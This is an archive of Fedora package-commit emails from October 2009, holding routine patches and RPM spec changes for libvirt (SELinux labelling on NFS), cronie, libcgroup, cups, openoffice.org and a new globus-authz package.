libvirt-fix-selinux-problem-with-images-on-nfs.patch:
 security_selinux.c |   26 +++++++++++++++++---------
 1 file changed, 17 insertions(+), 9 deletions(-)

--- NEW FILE libvirt-fix-selinux-problem-with-images-on-nfs.patch ---
>From ea544e7b038776c7db555ab0428b63ebb1604163 Mon Sep 17 00:00:00 2001
From: Darryl L. Pierce <dpierce at redhat.com>
Date: Fri, 21 Aug 2009 16:57:29 +0200
Subject: [PATCH] 517157 fix selinux problem with images on NFS

* src/security_selinux.c: ignores EOPNOTSUPP when attempting to access an
  NFS share

(cherry picked from commit 777fc2e9d60844a7387355d9cef06bd25190d146)

Fedora-patch: libvirt-fix-selinux-problem-with-images-on-nfs.patch
---
 src/security_selinux.c |   25 +++++++++++++++++--------
 1 files changed, 17 insertions(+), 8 deletions(-)

diff --git a/src/security_selinux.c b/src/security_selinux.c
index 8ebe1fe..97f16b3 100644
--- a/src/security_selinux.c
+++ b/src/security_selinux.c
@@ -285,6 +285,8 @@ SELinuxSetFilecon(virConnectPtr conn, const char *path, char *tcon)
     VIR_INFO("Setting SELinux context on '%s' to '%s'", path, tcon);
 
     if (setfilecon(path, tcon) < 0) {
+        int setfilecon_errno = errno;
+
         if (getfilecon(path, &econ) >= 0) {
             if (STREQ(tcon, econ)) {
                 freecon(econ);
@@ -293,14 +295,21 @@ SELinuxSetFilecon(virConnectPtr conn, const char *path, char *tcon)
             }
             freecon(econ);
         }
-        virSecurityReportError(conn, VIR_ERR_ERROR,
-                               _("%s: unable to set security context "
-                                 "'\%s\' on %s: %s."), __func__,
-                               tcon,
-                               path,
-                               virStrerror(errno, ebuf, sizeof ebuf));
-        if (security_getenforce() == 1)
-            return -1;
+
+        /* if the error complaint is related to an image hosted on
+         * an nfs mount, then ignore it.
+         * rhbz 517157
+         */
+        if (setfilecon_errno != EOPNOTSUPP) {
+            virSecurityReportError(conn, VIR_ERR_ERROR,
+                                 _("%s: unable to set security context "
+                                   "'\%s\' on %s: %s."), __func__,
+                                 tcon,
+                                 path,
+                                 virStrerror(errno, ebuf, sizeof ebuf));
+            if (security_getenforce() == 1)
+                return -1;
+        }
     }
     return 0;
 }
-- 
1.6.2.5


libvirt-0.6.2-svirt-sound.patch:
 qemu_conf.c |   18 ++++++++++++++++--
 1 file changed, 16 insertions(+), 2 deletions(-)

Index: libvirt-0.6.2-svirt-sound.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-11/libvirt-0.6.2-svirt-sound.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- libvirt-0.6.2-svirt-sound.patch	30 Sep 2009 14:20:16 -0000	1.5
+++ libvirt-0.6.2-svirt-sound.patch	19 Oct 2009 11:15:16 -0000	1.6
@@ -1,4 +1,4 @@
-From 6096cb19d6b05707ca32f52b905c53818ecfc84b Mon Sep 17 00:00:00 2001
+From 2fcd18b6a39f495d84eb3ef56a49994621c8f7d3 Mon Sep 17 00:00:00 2001
 From: Daniel P. Berrange <berrange at redhat.com>
 Date: Mon, 17 Aug 2009 08:52:30 +0100
 Subject: [PATCH] Disable sound cards when running sVirt


Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-11/libvirt.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- libvirt.spec	30 Sep 2009 14:20:16 -0000	1.142
+++ libvirt.spec	19 Oct 2009 11:15:16 -0000	1.143
@@ -66,7 +66,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.6.2
-Release: 18%{?dist}%{?extra_release}
+Release: 19%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -137,6 +137,8 @@ Patch31: libvirt-fix-xen-driver-segfault
 # Fix qemu-kvm version detection so GSO is enabled
 Patch32: libvirt-0.6.2-refactor-qemu-version-parsing.patch
 Patch33: libvirt-0.6.2-detect-newer-qemu-kvm-versions.patch
+# Ignore re-labelling errors on NFS (#517157)
+Patch34: libvirt-fix-selinux-problem-with-images-on-nfs.patch
 
 # Not for upstream. Temporary hack till PulseAudio autostart
 # problems are sorted out when SELinux enforcing
@@ -322,6 +324,7 @@ of recent versions of Linux (and other O
 %patch31 -p1
 %patch32 -p1
 %patch33 -p1
+%patch34 -p1
 
 %patch200 -p1
 
@@ -645,6 +648,9 @@ fi
 %endif
 
 %changelog
+* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 0.6.2-19
+- Ignore re-labelling errors on NFS (#517157)
+
 * Wed Sep 30 2009 Mark McLoughlin <markmc at redhat.com> - 0.6.2-18
 - Fix qemu-kvm version detection so GSO is enabled for virtio_net (#526472)
 



From mmaslano at fedoraproject.org  Mon Oct 19 11:17:04 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 11:17:04 +0000 (UTC)
Subject: rpms/cronie/devel cronie-service-stop.patch,NONE,1.1
Message-ID: <20091019111704.D55F611C00DC@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/cronie/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22694

Added Files:
	cronie-service-stop.patch 
Log Message:
When parent crond is stopped and child crond (executing program) is running,"service crond status"
reports "crond (pid  XXX) is running...".


cronie-service-stop.patch:
 cronie.init |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE cronie-service-stop.patch ---
>From 1a732d69938788dde2f1a8bf3ae1b9dc48d10c99 Mon Sep 17 00:00:00 2001
From: HONDA Hirofumi <honda.hirofumi at oss.ntt.co.jp>
Date: Mon, 19 Oct 2009 12:25:15 +0200
Subject: [PATCH] When parent crond is stopped and child crond (executing program) is running,"service crond status" reports "crond (pid  XXX) is running...".
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Marcela Ma?l??ov? <mmaslano at redhat.com>
---
 cronie.init |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/cronie.init b/cronie.init
index 0d98159..446607e 100755
--- a/cronie.init
+++ b/cronie.init
@@ -88,7 +88,7 @@ force_reload() {
 
 rh_status() {
     # run checks to determine if the service is running or use generic status
-    status $prog
+    status -p /var/run/crond.pid $prog
 }
 
 rh_status_q() {
-- 
1.6.5.rc2




From jsafrane at fedoraproject.org  Mon Oct 19 11:26:25 2009
From: jsafrane at fedoraproject.org (=?utf-8?b?SmFuIMWgYWZyw6FuZWs=?=)
Date: Mon, 19 Oct 2009 11:26:25 +0000 (UTC)
Subject: rpms/libcgroup/devel libcgroup.spec,1.15,1.16
Message-ID: <20091019112625.533F511C00DC@cvs1.fedora.phx.redhat.com>

Author: jsafrane

Update of /cvs/pkgs/rpms/libcgroup/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25147

Modified Files:
	libcgroup.spec 
Log Message:
Change the default configuration to mount everything to /cgroup - libvirtd needs the controllers mounted somewhere.


Index: libcgroup.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcgroup/devel/libcgroup.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- libcgroup.spec	25 Jul 2009 05:26:05 -0000	1.15
+++ libcgroup.spec	19 Oct 2009 11:26:25 -0000	1.16
@@ -4,12 +4,13 @@ Name: libcgroup
 Summary: Tools and libraries to control and monitor control groups
 Group: Development/Libraries
 Version: 0.34
-Release:        2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 URL: http://libcg.sourceforge.net/
 Source0: http://downloads.sourceforge.net/libcg/%{name}-%{version}.tar.bz2
 Patch0: fedora-fix-initscripts.patch
 Patch1: fedora-workaround-for-sysdefault.patch
+Patch2: fedora-config.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: pam-devel
 BuildRequires: byacc
@@ -36,6 +37,7 @@ provide scripts to manage that configura
 %setup -q
 %patch0 -p1 -b .fedora
 %patch1 -p1 -b .sysdefault
+%patch2 -p1 -b .config
 %build
 %configure --bindir=/bin --sbindir=/sbin --libdir=/%{_lib}
 
@@ -68,6 +70,9 @@ mv -f $RPM_BUILD_ROOT/%{_lib}/libcgroup.
 rm -f $RPM_BUILD_ROOT/%{_lib}/libcgroup.so
 ln -sf ../../%{_lib}/libcgroup.so.%{soversion} $RPM_BUILD_ROOT/%{_libdir}/libcgroup.so
 
+# pre-create /cgroup directory
+mkdir $RPM_BUILD_ROOT/cgroup
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -105,8 +110,8 @@ fi
 %attr(0755,root,root) %{_initrddir}/cgconfig
 %attr(0755,root,root) %{_initrddir}/cgred
 %attr(0755,root,root) /%{_lib}/security/pam_cgroup.so
-
 %doc COPYING INSTALL README_daemon
+%attr(0755,root,root) %dir /cgroup
 
 %files devel
 %defattr(-,root,root,-)
@@ -116,6 +121,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Jan Safranek <jsafrane at redhat.com> 0.34-3
+- Change the default configuration to mount everything to /cgroup
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.34-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From twaugh at fedoraproject.org  Mon Oct 19 11:32:51 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon, 19 Oct 2009 11:32:51 +0000 (UTC)
Subject: rpms/cups/F-12 cups-str3380.patch,NONE,1.1 cups.spec,1.526,1.527
Message-ID: <20091019113251.A863011C00DC@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27134

Modified Files:
	cups.spec 
Added Files:
	cups-str3380.patch 
Log Message:
* Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-10
- Fixed German translation (bug #529575, STR #3380).


cups-str3380.patch:
 index.html.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3380.patch ---
diff -up cups-1.4.1/doc/de/index.html.in.str3380 cups-1.4.1/doc/de/index.html.in
--- cups-1.4.1/doc/de/index.html.in.str3380	2009-04-09 22:22:42.000000000 +0100
+++ cups-1.4.1/doc/de/index.html.in	2009-10-19 12:04:30.352768816 +0100
@@ -17,7 +17,7 @@ SRC="/images/left.gif" WIDTH="64" HEIGHT
 <TD CLASS="unsel"><A HREF="/admin">&nbsp;&nbsp;Verwaltung&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/classes/">&nbsp;&nbsp;Klassen&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/help/">&nbsp;&nbsp;On-Line&nbsp;Hilfe&nbsp;&nbsp;</A></TD>
-<TD CLASS="unsel"><A HREF="/jobs/">&nbsp;&nbsp;Auftr&uuml;ge&nbsp;&nbsp;</A></TD>
+<TD CLASS="unsel"><A HREF="/jobs/">&nbsp;&nbsp;Auftr&auml;ge&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/printers/">&nbsp;&nbsp;Drucker&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel" WIDTH="100%"><FORM ACTION="/help/" METHOD="GET"><INPUT
 TYPE="SEARCH" NAME="QUERY" SIZE="20" PLACEHOLDER="Search Help"


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-12/cups.spec,v
retrieving revision 1.526
retrieving revision 1.527
diff -u -p -r1.526 -r1.527
--- cups.spec	8 Oct 2009 11:37:51 -0000	1.526
+++ cups.spec	19 Oct 2009 11:32:51 -0000	1.527
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -36,6 +36,7 @@ Patch6: cups-banners.patch
 Patch7: cups-serverbin-compat.patch
 Patch8: cups-no-export-ssllibs.patch
 Patch9: cups-paps.patch
+Patch10: cups-str3380.patch
 Patch11: cups-direct-usb.patch
 Patch12: cups-lpr-help.patch
 Patch13: cups-peercred.patch
@@ -195,6 +196,7 @@ gzip -n postscript.ppd
 %patch7 -p1 -b .serverbin-compat
 %patch8 -p1 -b .no-export-ssllibs
 %patch9 -p1 -b .paps
+%patch10 -p1 -b .str3380
 %patch11 -p1 -b .direct-usb
 %patch12 -p1 -b .lpr-help
 %patch13 -p1 -b .peercred
@@ -514,6 +516,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-10
+- Fixed German translation (bug #529575, STR #3380).
+
 * Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-9
 - Fixed naming of 'Generic PostScript Printer' entry.
 



From twaugh at fedoraproject.org  Mon Oct 19 11:32:56 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon, 19 Oct 2009 11:32:56 +0000 (UTC)
Subject: rpms/cups/F-11 cups-str3380.patch,NONE,1.1 cups.spec,1.522,1.523
Message-ID: <20091019113256.827F011C00DC@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27170

Modified Files:
	cups.spec 
Added Files:
	cups-str3380.patch 
Log Message:
* Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-5
- Fixed German translation (bug #529575, STR #3380).


cups-str3380.patch:
 index.html.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3380.patch ---
diff -up cups-1.4.1/doc/de/index.html.in.str3380 cups-1.4.1/doc/de/index.html.in
--- cups-1.4.1/doc/de/index.html.in.str3380	2009-04-09 22:22:42.000000000 +0100
+++ cups-1.4.1/doc/de/index.html.in	2009-10-19 12:04:30.352768816 +0100
@@ -17,7 +17,7 @@ SRC="/images/left.gif" WIDTH="64" HEIGHT
 <TD CLASS="unsel"><A HREF="/admin">&nbsp;&nbsp;Verwaltung&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/classes/">&nbsp;&nbsp;Klassen&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/help/">&nbsp;&nbsp;On-Line&nbsp;Hilfe&nbsp;&nbsp;</A></TD>
-<TD CLASS="unsel"><A HREF="/jobs/">&nbsp;&nbsp;Auftr&uuml;ge&nbsp;&nbsp;</A></TD>
+<TD CLASS="unsel"><A HREF="/jobs/">&nbsp;&nbsp;Auftr&auml;ge&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/printers/">&nbsp;&nbsp;Drucker&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel" WIDTH="100%"><FORM ACTION="/help/" METHOD="GET"><INPUT
 TYPE="SEARCH" NAME="QUERY" SIZE="20" PLACEHOLDER="Search Help"


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-11/cups.spec,v
retrieving revision 1.522
retrieving revision 1.523
diff -u -p -r1.522 -r1.523
--- cups.spec	8 Oct 2009 11:51:07 -0000	1.522
+++ cups.spec	19 Oct 2009 11:32:56 -0000	1.523
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -36,6 +36,7 @@ Patch6: cups-banners.patch
 Patch7: cups-serverbin-compat.patch
 Patch8: cups-no-export-ssllibs.patch
 Patch9: cups-paps.patch
+Patch10: cups-str3380.patch
 Patch11: cups-direct-usb.patch
 Patch12: cups-lpr-help.patch
 Patch13: cups-peercred.patch
@@ -195,6 +196,7 @@ gzip -n postscript.ppd
 %patch7 -p1 -b .serverbin-compat
 %patch8 -p1 -b .no-export-ssllibs
 %patch9 -p1 -b .paps
+%patch10 -p1 -b .str3380
 %patch11 -p1 -b .direct-usb
 %patch12 -p1 -b .lpr-help
 %patch13 -p1 -b .peercred
@@ -510,6 +512,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-5
+- Fixed German translation (bug #529575, STR #3380).
+
 * Thu Oct  8 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-4
 - Fixed naming of 'Generic PostScript Printer' entry.
 



From caolanm at fedoraproject.org  Mon Oct 19 11:35:35 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 19 Oct 2009 11:35:35 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch,
	NONE, 1.1 openoffice.org.spec, 1.2045, 1.2046
Message-ID: <20091019113535.C26BD11C00DC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27711

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch 
Log Message:
Resolves: rhbz#521460 add openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch (caolanm)

openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch:
 dicimp.cxx |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch ---
diff -ru linguistic.orig/source/dicimp.cxx linguistic/source/dicimp.cxx
--- linguistic.orig/source/dicimp.cxx	2009-10-19 12:29:09.000000000 +0100
+++ linguistic/source/dicimp.cxx	2009-10-19 12:30:08.000000000 +0100
@@ -232,8 +232,8 @@
         BOOL bExists = FileExists( rMainURL );
 		if( !bExists )
 		{
-			// save new dictionaries with in 6.0 Format (uses UTF8)
-			nDicVersion	 = 6;
+			// save new dictionaries with in Format 7 (UTF8 plain text)
+			nDicVersion	 = 7;
 
             //! create physical representation of an **empty** dictionary
             //! that could be found by the dictionary-list implementation


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2045
retrieving revision 1.2046
diff -u -p -r1.2045 -r1.2046
--- openoffice.org.spec	19 Oct 2009 09:10:00 -0000	1.2045
+++ openoffice.org.spec	19 Oct 2009 11:35:35 -0000	1.2046
@@ -118,6 +118,7 @@ Patch44: openoffice.org-3.2.0.ooo105827.
 Patch45: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
 Patch46: openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch
 Patch47: openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
+Patch48: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1625,6 +1626,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch45 -p0 -b .ooo105988.svx.a11ycrash.patch
 %patch46 -p1 -b .rhbz521460.svx.revert-paper-sizes-reordering.patch
 %patch47 -p0 -b .oooXXXXXX.vcl.dontresolve.patch
+%patch48 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4127,8 +4129,8 @@ fi
 %changelog
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.3
 - Resolves: rhbz#521460 - wrong page size for A3/A5 (dtardon)
-- Related: rhbz#529521 add openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch
-  (caolanm)
+- Resolves: rhbz#521460 add openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch (caolanm)
+- Related:  rhbz#529521 add openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch (caolanm)
 
 * Sat Oct 17 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.2
 - Resolves: ooo#105988 a11y crash in impress (caolanm)



From caolanm at fedoraproject.org  Mon Oct 19 11:38:48 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Mon, 19 Oct 2009 11:38:48 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2046,1.2047
Message-ID: <20091019113848.B662511C00DC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28321

Modified Files:
	openoffice.org.spec 
Log Message:
Resolves: rhbz#521460 add openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch (caolanm)


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2046
retrieving revision 1.2047
diff -u -p -r1.2046 -r1.2047
--- openoffice.org.spec	19 Oct 2009 11:35:35 -0000	1.2046
+++ openoffice.org.spec	19 Oct 2009 11:38:48 -0000	1.2047
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 2
-%define rh_rpm_release 3
+%define rh_rpm_release 4
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -4127,11 +4127,13 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.3
-- Resolves: rhbz#521460 - wrong page size for A3/A5 (dtardon)
+* Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.4
 - Resolves: rhbz#521460 add openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch (caolanm)
 - Related:  rhbz#529521 add openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch (caolanm)
 
+* Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.3
+- Resolves: rhbz#521460 - wrong page size for A3/A5 (dtardon)
+
 * Sat Oct 17 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.2
 - Resolves: ooo#105988 a11y crash in impress (caolanm)
 



From ellert at fedoraproject.org  Mon Oct 19 11:42:04 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 11:42:04 +0000 (UTC)
Subject: rpms/globus-authz/devel globus-authz.spec, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019114204.8432A11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-authz/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29366/devel

Modified Files:
	.cvsignore sources 
Added Files:
	globus-authz.spec import.log 
Log Message:
* Tue Jul 28 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 0.7-1
- Autogenerated



--- NEW FILE globus-authz.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-authz
%global _name %(tr - _ <<< %{name})
Version:	0.7
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus authz library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gsi/authz/source globus_authz-0.7
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_authz-0.7
#		tar -zcf globus_authz-0.7.tar.gz globus_authz-0.7
Source:		%{_name}-%{version}.tar.gz
#		This is a workaround for the broken epstopdf script in RHEL5
#		See: https://bugzilla.redhat.com/show_bug.cgi?id=450388
Source9:	epstopdf-2.9.5gw
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-authz-callout-error-devel%{?_isa}
BuildRequires:	globus-callout-devel%{?_isa}
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	doxygen
BuildRequires:	graphviz
%if "%{?rhel}" == "5"
BuildRequires:	graphviz-gd
%endif
BuildRequires:	ghostscript
%if %{?fedora}%{!?fedora:0} >= 9 || %{?rhel}%{!?rhel:0} >= 6
BuildRequires:	tex(latex)
%else
BuildRequires:	tetex-latex
%endif

%package devel
Summary:	Globus Toolkit - Globus authz library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-authz-callout-error-devel%{?_isa}
Requires:	globus-callout-devel%{?_isa}
Requires:	globus-gssapi-gsi-devel%{?_isa} >= 4

%package doc
Summary:	Globus Toolkit - Globus authz library Documentation Files
Group:		Documentation
%if %{?fedora}%{!?fedora:0} >= 10 || %{?rhel}%{!?rhel:0} >= 6
BuildArch:	noarch
%endif
Requires:	%{name} = %{version}-%{release}

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus authz library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Globus authz library Development Files

%description doc
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-doc package contains:
Globus authz library Documentation Files

%prep
%setup -q -n %{_name}-%{version}

%if "%{rhel}" == "5"
mkdir bin
install %{SOURCE9} bin/epstopdf
%endif

%build
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor} --enable-doxygen

make %{?_smp_mflags}

%install
%if "%{rhel}" == "5"
export PATH=$PWD/bin:$PATH
%endif

rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Move documentation to default RPM location
mv $RPM_BUILD_ROOT%{_docdir}/%{_name} \
  $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
sed s!doc/%{_name}!doc/%{name}-%{version}! \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Remove unwanted documentation (needed for RHEL4)
rm -f $RPM_BUILD_ROOT%{_mandir}/man3/*_%{_name}-%{version}_*.3
sed -e '/_%{_name}-%{version}_.*\.3/d' \
  -i $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/noflavor_doc.filelist \
  | sed -e 's!/man/.*!&*!' -e 's!^!%doc %{_prefix}!' > package-doc.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
